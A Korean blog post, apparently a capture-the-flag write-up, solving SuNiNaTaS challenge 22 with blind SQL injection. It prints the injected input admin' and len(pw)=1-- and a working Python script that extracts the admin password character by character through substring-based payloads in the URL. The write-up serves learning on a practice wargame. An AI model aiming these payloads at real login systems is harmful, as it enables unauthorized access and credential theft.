SuNiNaTaS(써니나타스) 22번

블라인드 SQL 인젝션을 이용한 문제

힌트를 보면 guest / geust

그리고 나의 목표는 admin의 비밀번호를 알아내는 것이라고 한다.

guest를 입력하자 ok guest라고 잘 나오는것을 확인

이번엔 admin에 임의의 비밀번호를 입력해보겠다.

틀렸을때는 False라고 나온다.

 

이제 쿼리문을 입력해볼건데 우선 필터링되는 키워드에 and는 없으므로 and를 이용해보겠다.

admin' and len(pw)=1--를 입력해 1부터 차례대로 길이를 알아내기 위해 진행하겠음.

쿼리문을 통해 알아낸 결과 패스워드의 길이는 10이다.

이를 바탕으로 파이썬프로그램을 짜보았다.

import requests

url = "http://suninatas.com/challenge/web22/web22.asp"
s = requests.Session()
pwlen = 10

pw=""
for i in range(1, pwlen + 1) :
    for j in range(32, 127) :
        param = "?id=admin' and substring(pw," + str(i) + ", 1)='" + chr(j) + "'--&pw=1"
        requrl = url + param
        request = s.get(requrl)

        if("OK" in request.text):
            pw += chr(j)
            print("pw = ", pw)
            break

print("\nadmin pw is", pw)

위에 내가직접 패스워드 길이를 알아낸 방법 말고

파이썬을 이용해서도 할 수 있겠지만 암튼

 

param에 id=admin and substring(pw, i, 1)='j에  해당하는 문자'--&pw=1 이 들어가게돼서

아스키코드 32에서 127에 해당하는 모든 문장을 검사하게 된다.

 

실행하게 되면

이렇게 패스워드를 구하는 과정과함께 패스워드를 알 수 있다.

 

코드를 작성하다가 한가지 궁금증

처음에 for i 부분의 range를 range(0, pwlen)으로 했을때는 pw = 하고 공백이 하나 먼저 출력된다. 이유가 뭘까?

sql은 문자열 인덱스가 1부터 시작하는가?

 

구글링을 해본 결과

Oracle의 경우에는 substr을 사용함에 있어 시작위치 0과 1을 같은 취급 한다고 한다.

하지만 이 문제의 경우 substring을 사용하는 걸로 보아 오라클을 사용하고 있지 않은데 MySQL은 어떤지 또 검색했다.

내가 맞게 이해한건진 모르겠지만 참고한 스택오버플로우 링크

https://stackoverflow.com/questions/52509672/when-i-use-substring-start-point-is-1-not-zero-0/52509722

 

When i use substring, start point is 1, not zero (0)

I USE MYSQL, not SQL I have this table and i want to select that table with without "M" This is the table i create CREATE TABLE test ( id VARCHAR(10) ); INSERT INTO test (id) VALUES ('M1'); ...

stackoverflow.com

대충 요약하자면 아무튼 sql에서 substr은 1번째부터 라고 생각하면 되는듯하다(헷갈려...)

 

얻어낸 비밀번호로 admin을 로그인해보면 맞다는걸 확인할 수 있다.

로그인하면 키가 나오는줄 알았는데 패스워드 자체가 키였다^^... ㅋㅋㅋㅋ

'문제풀이 > 보안 writeup' 카테고리의 다른 글

wargame.kr [SimpleBoard]  (0) 2021.07.03
[root-me] NoSQL Injection - Authentication  (0) 2021.07.02
SuNiNaTaS(써니나타스) 4번  (0) 2021.07.01
SuNiNaTaS(써니나타스) 7번  (0) 2021.05.24
webhacking.kr 39번  (0) 2021.04.08
myoskin